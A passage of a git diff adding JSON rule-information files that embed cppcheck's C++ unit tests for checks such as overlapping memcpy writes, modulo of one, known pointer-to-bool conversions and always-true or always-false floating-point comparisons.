check(\"#include \\n\"\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class Hash\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" std::size_t operator()(const A& a) const\\n\"\n \" {\\n\"\n \" (void)a;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\\n\"\n \"namespace std\\n\"\n \"{\\n\"\n \" template <>\\n\"\n \" struct hash\\n\"\n \" {\\n\"\n \" std::size_t operator()(const A& a) const noexcept\\n\"\n \" {\\n\"\n \" return A::Hash{}(a);\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moduloOfOne() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = x % 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Modulo of one is always equal to zero [moduloofone]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for (int x = 1; x < 10; x++) {\\n\"\n \" int y = 100 % x;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i, int j) {\\n\" // #11191\n \" const int c = pow(2, i);\\n\"\n \" if (j % c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sameExpressionPointers() {\n check(\"int f(int *i);\\n\"\n \"void g(int *a, const int *b) {\\n\"\n \" int c = *a;\\n\"\n \" f(a);\\n\"\n \" if (b && c != *a) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkOverlappingWrite() {\n // union\n check(\"void foo() {\\n\"\n \" union { int i; float f; } u;\\n\"\n \" u.i = 0;\\n\"\n \" u.i = u.f;\\n\" // <- error\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Overlapping read/write of union is undefined behavior [overlappingWriteUnion]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11013\n \" union { struct { uint8_t a; uint8_t b; }; uint16_t c; } u;\\n\"\n \" u.a = u.b = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // memcpy\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[8];\\n\"\n \" memcpy(&a[0], &a[4], 4u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"_Bool a[10];\\n\" // #10350\n \"void foo() {\\n\"\n \" memcpy(&a[5], &a[4], 2u * sizeof(a[0]));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"int K[2];\\n\" // #12638\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, sizeof(*p));\\n\"\n \" memcpy(p + 1, p, sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int K[2];\\n\"\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], 2 * sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], 2 *sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, 2 * sizeof(*p));\\n\"\n \" memcpy(p + 1, p, 2 * sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:4:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:5:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:6:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\",\n errout_str());\n\n // wmemcpy\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n // strcpy\n check(\"void foo(char *ptr) {\\n\"\n \" strcpy(ptr, ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Overlapping read/write in strcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n }\n\n void constVariableArrayMember() { // #10371\n check(\"class Foo {\\n\"\n \"public:\\n\"\n \" Foo();\\n\"\n \" int GetVal() const { return m_Arr[0]; }\\n\"\n \" int m_Arr[1];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownPointerToBool()\n {\n check(\"void g(bool);\\n\"\n \"void f() {\\n\"\n \" int i = 5;\\n\"\n \" int* p = &i;\\n\"\n \" g(p);\\n\"\n \" g(&i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (style) Pointer expression 'p' converted to bool is always true. [knownPointerToBool]\\n\"\n \"[test.cpp:6:7]: (style) Pointer expression '&i' converted to bool is always true. [knownPointerToBool]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(const_cast(x));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool x; };\\n\"\n \"bool f(A* a) {\\n\"\n \" if (a) {\\n\"\n \" return a->x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int* x; };\\n\"\n \"bool f(A a) {\\n\"\n \" if (a.x) {\\n\"\n \" return a.x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style) Pointer expression 'a.x' converted to bool is always true. [knownPointerToBool]\\n\", errout_str());\n\n check(\"void f(bool* b) { if (b) *b = true; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct B { virtual void f() {} };\\n\" // #11929\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" if (!b)\\n\"\n \" return;\\n\"\n \" if (dynamic_cast(b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool (*ptr)();\\n\" // #12170\n \"void f() {\\n\"\n \" if (!ptr || !ptr()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool b[2]);\\n\" // #12822\n \"void f() {\\n\"\n \" bool b[2] = {};\\n\"\n \" g(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterateByValue() {\n check(\"void f() {\\n\" // #9684\n \" const std::set ss = { \\\"a\\\", \\\"b\\\", \\\"c\\\" };\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n check(\"void f() {\\n\" // #13696\n \" struct T {\\n\"\n \" std::string name;\\n\"\n \" UnknownClass member;\\n\"\n \" };\\n\"\n \"\\n\"\n \" const std::set ss;\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n }\n\n void knownConditionFloating()\n {\n check(\"void foo() {\\n\" // #11200\n \" float f = 1.0;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float f = 1.0;\\n\"\n \" if (f > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float pf = +1.0;\\n\"\n \" if (pf > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float pf = +1.0;\\n\"\n \" if (pf > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'pf > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float pf = +1.0;\\n\"\n \" if (pf > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float pf = +1.0;\\n\"\n \" if (pf < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float nf = -1.0;\\n\"\n \" if (nf > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'nf > -1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > 1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > +1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > +1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0f;\\n\"\n \" if (f > 1.00f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00f' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0f;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f > 1.00) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n }\n\n void knownConditionPrefixed()\n {\n check(\"void foo() {\\n\"\n \" int i = 1;\\n\"\n \" if (i < +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i < 1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" int i = 1;\\n\"\n \" if (i > +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i > +1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n};\n\nREGISTER_TEST(TestOther)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/clarifyStatement.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/clarifyStatement.json new file mode 100644 index 0000000..bf40a52 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/clarifyStatement.json @@ -0,0 +1,22 @@ +{ + "name": "clarifyStatement", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 20, + "branches": 7, + "apis": 21, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 6717 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkother.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n\n#include \n#include \n\nclass TestOther : public TestFixture {\npublic:\n TestOther() : TestFixture(\"TestOther\") {}\n\nprivate:\n /*const*/ Settings _settings = settingsBuilder().library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(emptyBrackets);\n\n TEST_CASE(zeroDiv1);\n TEST_CASE(zeroDiv2);\n TEST_CASE(zeroDiv3);\n TEST_CASE(zeroDiv4);\n TEST_CASE(zeroDiv5);\n TEST_CASE(zeroDiv6);\n TEST_CASE(zeroDiv7); // #4930\n TEST_CASE(zeroDiv8);\n TEST_CASE(zeroDiv9);\n TEST_CASE(zeroDiv10);\n TEST_CASE(zeroDiv11);\n TEST_CASE(zeroDiv12);\n TEST_CASE(zeroDiv13);\n TEST_CASE(zeroDiv14); // #1169\n TEST_CASE(zeroDiv15); // #8319\n TEST_CASE(zeroDiv16); // #11158\n TEST_CASE(zeroDiv17); // #9931\n TEST_CASE(zeroDiv18);\n TEST_CASE(zeroDiv19);\n TEST_CASE(zeroDiv20); // #11175\n TEST_CASE(zeroDiv21);\n TEST_CASE(zeroDiv22);\n\n TEST_CASE(zeroDivCond); // division by zero / useless condition\n\n TEST_CASE(nanInArithmeticExpression);\n\n TEST_CASE(varScope1);\n TEST_CASE(varScope2);\n TEST_CASE(varScope3);\n TEST_CASE(varScope4);\n TEST_CASE(varScope5);\n TEST_CASE(varScope6);\n TEST_CASE(varScope7);\n TEST_CASE(varScope8);\n TEST_CASE(varScope9); // classes may have extra side-effects\n TEST_CASE(varScope10); // Undefined macro FOR\n TEST_CASE(varScope11); // #2475 - struct initialization is not inner scope\n TEST_CASE(varScope12);\n TEST_CASE(varScope13); // variable usage in inner loop\n TEST_CASE(varScope14);\n TEST_CASE(varScope15); // #4573 if-else-if\n TEST_CASE(varScope16);\n TEST_CASE(varScope17);\n TEST_CASE(varScope18);\n TEST_CASE(varScope20); // Ticket #5103\n TEST_CASE(varScope21); // Ticket #5382\n TEST_CASE(varScope22); // Ticket #5684\n TEST_CASE(varScope23); // Ticket #6154\n TEST_CASE(varScope24); // pointer / reference\n TEST_CASE(varScope25); // time_t\n TEST_CASE(varScope26); // range for loop, map\n TEST_CASE(varScope27); // #7733 - #if\n TEST_CASE(varScope28); // #10527\n TEST_CASE(varScope29); // #10888\n TEST_CASE(varScope30); // #8541\n TEST_CASE(varScope31); // #11099\n TEST_CASE(varScope32); // #11441\n TEST_CASE(varScope33);\n TEST_CASE(varScope34);\n TEST_CASE(varScope35);\n TEST_CASE(varScope36); // #12158\n TEST_CASE(varScope37); // #12158\n TEST_CASE(varScope38);\n TEST_CASE(varScope39);\n TEST_CASE(varScope40);\n TEST_CASE(varScope41); // #11845\n TEST_CASE(varScope42);\n TEST_CASE(varScope43);\n\n TEST_CASE(oldStylePointerCast);\n TEST_CASE(intToPointerCast);\n TEST_CASE(invalidPointerCast);\n\n TEST_CASE(passedByValue);\n TEST_CASE(passedByValue_nonConst);\n TEST_CASE(passedByValue_externC);\n\n TEST_CASE(constVariable);\n TEST_CASE(constParameterCallback);\n TEST_CASE(constPointer);\n TEST_CASE(constArray);\n\n TEST_CASE(switchRedundantAssignmentTest);\n TEST_CASE(switchRedundantOperationTest);\n TEST_CASE(switchRedundantBitwiseOperationTest);\n TEST_CASE(unreachableCode);\n TEST_CASE(redundantContinue);\n\n TEST_CASE(suspiciousCase);\n TEST_CASE(suspiciousEqualityComparison);\n TEST_CASE(suspiciousUnaryPlusMinus); // #8004\n TEST_CASE(suspiciousFloatingPointCast);\n\n TEST_CASE(selfAssignment);\n TEST_CASE(trac1132);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction1);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction2);\n TEST_CASE(testMisusedScopeObjectPicksClass);\n TEST_CASE(testMisusedScopeObjectPicksStruct);\n TEST_CASE(testMisusedScopeObjectDoesNotPickIf);\n TEST_CASE(testMisusedScopeObjectDoesNotPickConstructorDeclaration);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunctor);\n TEST_CASE(testMisusedScopeObjectDoesNotPickLocalClassConstructors);\n TEST_CASE(testMisusedScopeObjectDoesNotPickUsedObject);\n TEST_CASE(testMisusedScopeObjectDoesNotPickPureC);\n TEST_CASE(testMisusedScopeObjectDoesNotPickNestedClass);\n TEST_CASE(testMisusedScopeObjectInConstructor);\n TEST_CASE(testMisusedScopeObjectStandardType);\n TEST_CASE(testMisusedScopeObjectNamespace);\n TEST_CASE(testMisusedScopeObjectAssignment); // #11371\n TEST_CASE(trac2071);\n TEST_CASE(trac2084);\n TEST_CASE(trac3693);\n\n TEST_CASE(clarifyCalculation);\n TEST_CASE(clarifyStatement);\n\n TEST_CASE(duplicateBranch);\n TEST_CASE(duplicateBranch1); // tests extracted by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck ): Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n TEST_CASE(duplicateBranch2); // empty macro\n TEST_CASE(duplicateBranch3);\n TEST_CASE(duplicateBranch4);\n TEST_CASE(duplicateBranch5); // make sure the Token attributes are compared\n TEST_CASE(duplicateBranch6);\n TEST_CASE(duplicateExpression1);\n TEST_CASE(duplicateExpression2); // ticket #2730\n TEST_CASE(duplicateExpression3); // ticket #3317\n TEST_CASE(duplicateExpression4); // ticket #3354 (++)\n TEST_CASE(duplicateExpression5); // ticket #3749 (macros with same values)\n TEST_CASE(duplicateExpression6); // ticket #4639\n TEST_CASE(duplicateExpression7);\n TEST_CASE(duplicateExpression8);\n TEST_CASE(duplicateExpression9); // #9320\n TEST_CASE(duplicateExpression10); // #9485\n TEST_CASE(duplicateExpression11); // #8916 (function call)\n TEST_CASE(duplicateExpression12); // #10026\n TEST_CASE(duplicateExpression13); // #7899\n TEST_CASE(duplicateExpression14); // #9871\n TEST_CASE(duplicateExpression15); // #10650\n TEST_CASE(duplicateExpression16); // #10569\n TEST_CASE(duplicateExpression17); // #12036\n TEST_CASE(duplicateExpression18);\n TEST_CASE(duplicateExpressionLoop);\n TEST_CASE(duplicateValueTernary);\n TEST_CASE(duplicateExpressionTernary); // #6391\n TEST_CASE(duplicateExpressionTemplate); // #6930\n TEST_CASE(duplicateExpressionCompareWithZero);\n TEST_CASE(oppositeExpression);\n TEST_CASE(duplicateVarExpression);\n TEST_CASE(duplicateVarExpressionUnique);\n TEST_CASE(duplicateVarExpressionAssign);\n TEST_CASE(duplicateVarExpressionCrash);\n TEST_CASE(multiConditionSameExpression);\n\n TEST_CASE(checkSignOfUnsignedVariable);\n TEST_CASE(checkSignOfPointer);\n\n TEST_CASE(checkSuspiciousSemicolon1);\n TEST_CASE(checkSuspiciousSemicolon2);\n TEST_CASE(checkSuspiciousSemicolon3);\n TEST_CASE(checkSuspiciousComparison);\n\n TEST_CASE(checkInvalidFree);\n\n TEST_CASE(checkRedundantCopy);\n\n TEST_CASE(checkNegativeShift);\n\n TEST_CASE(incompleteArrayFill);\n\n TEST_CASE(redundantVarAssignment);\n TEST_CASE(redundantVarAssignment_trivial);\n TEST_CASE(redundantVarAssignment_struct);\n TEST_CASE(redundantVarAssignment_union);\n TEST_CASE(redundantVarAssignment_7133);\n TEST_CASE(redundantVarAssignment_stackoverflow);\n TEST_CASE(redundantVarAssignment_lambda);\n TEST_CASE(redundantVarAssignment_loop);\n TEST_CASE(redundantVarAssignment_after_switch);\n TEST_CASE(redundantVarAssignment_pointer);\n TEST_CASE(redundantVarAssignment_pointer_parameter);\n TEST_CASE(redundantVarAssignment_array);\n TEST_CASE(redundantVarAssignment_switch_break);\n TEST_CASE(redundantInitialization);\n //TEST_CASE(redundantMemWrite); // FIXME: temporary hack\n TEST_CASE(redundantAssignmentSameValue);\n\n TEST_CASE(varFuncNullUB);\n\n TEST_CASE(checkCastIntToCharAndBack); // ticket #160\n\n TEST_CASE(checkCommaSeparatedReturn);\n TEST_CASE(checkPassByReference);\n\n TEST_CASE(checkComparisonFunctionIsAlwaysTrueOrFalse);\n\n TEST_CASE(integerOverflow); // #5895\n\n TEST_CASE(redundantPointerOp);\n TEST_CASE(test_isSameExpression);\n TEST_CASE(raceAfterInterlockedDecrement);\n\n TEST_CASE(testUnusedLabel);\n\n TEST_CASE(testEvaluationOrder);\n TEST_CASE(testEvaluationOrderSelfAssignment);\n TEST_CASE(testEvaluationOrderMacro);\n TEST_CASE(testEvaluationOrderSequencePointsFunctionCall);\n TEST_CASE(testEvaluationOrderSequencePointsComma);\n TEST_CASE(testEvaluationOrderSizeof);\n\n TEST_CASE(testUnsignedLessThanZero);\n\n TEST_CASE(doubleMove1);\n TEST_CASE(doubleMoveMemberInitialization1);\n TEST_CASE(doubleMoveMemberInitialization2);\n TEST_CASE(doubleMoveMemberInitialization3); // #9974\n TEST_CASE(doubleMoveMemberInitialization4);\n TEST_CASE(moveAndAssign1);\n TEST_CASE(moveAndAssign2);\n TEST_CASE(moveAssignMoveAssign);\n TEST_CASE(moveAndReset1);\n TEST_CASE(moveAndReset2);\n TEST_CASE(moveResetMoveReset);\n TEST_CASE(moveAndFunctionParameter);\n TEST_CASE(moveAndFunctionParameterReference);\n TEST_CASE(moveAndFunctionParameterConstReference);\n TEST_CASE(moveAndFunctionParameterUnknown);\n TEST_CASE(moveAndReturn);\n TEST_CASE(moveAndClear);\n TEST_CASE(movedPointer);\n TEST_CASE(moveAndAddressOf);\n TEST_CASE(partiallyMoved);\n TEST_CASE(moveAndLambda);\n TEST_CASE(moveInLoop);\n TEST_CASE(moveCallback);\n TEST_CASE(moveClassVariable);\n TEST_CASE(forwardAndUsed);\n TEST_CASE(moveAndReference);\n TEST_CASE(moveForRange);\n TEST_CASE(moveTernary);\n TEST_CASE(movePointerAlias);\n\n TEST_CASE(funcArgNamesDifferent);\n TEST_CASE(funcArgOrderDifferent);\n TEST_CASE(cpp11FunctionArgInit); // #7846 - \"void foo(int declaration = {}) {\"\n\n TEST_CASE(shadowVariables);\n TEST_CASE(knownArgument);\n TEST_CASE(knownArgumentHiddenVariableExpression);\n TEST_CASE(knownArgumentTernaryOperator);\n TEST_CASE(checkComparePointers);\n\n TEST_CASE(unusedVariableValueTemplate); // #8994\n\n TEST_CASE(moduloOfOne);\n\n TEST_CASE(sameExpressionPointers);\n\n TEST_CASE(checkOverlappingWrite);\n\n TEST_CASE(constVariableArrayMember); // #10371\n\n TEST_CASE(knownPointerToBool);\n TEST_CASE(iterateByValue);\n\n TEST_CASE(knownConditionFloating);\n TEST_CASE(knownConditionPrefixed);\n }\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n template\n void check_(const char* file, int line, const char (&code)[size], Settings *s) {\n check_(file, line, code, true, true, true, false, s);\n }\n\n struct CheckPOptions\n {\n CheckPOptions() = default;\n bool cpp = true;\n };\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkP_(const char* file, int line, const char (&code)[size], const CheckPOptions& options = make_default_obj()) {\n Settings* settings = &_settings;\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.enable(Certainty::inconclusive);\n\n SimpleTokenizer2 tokenizer(*settings, *this, code, options.cpp ? \"test.cpp\" : \"test.c\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n template\n void checkInterlockedDecrement(const char (&code)[size]) {\n /*const*/ Settings settings = settingsBuilder().platform(Platform::Type::Win32A).build();\n\n check(code, true, false, true, false, &settings);\n }\n\n void emptyBrackets() {\n check(\"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void zeroDiv1() { // floating point division by zero => no error\n check(\"void foo() {\\n\"\n \" cout << 1. / 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", 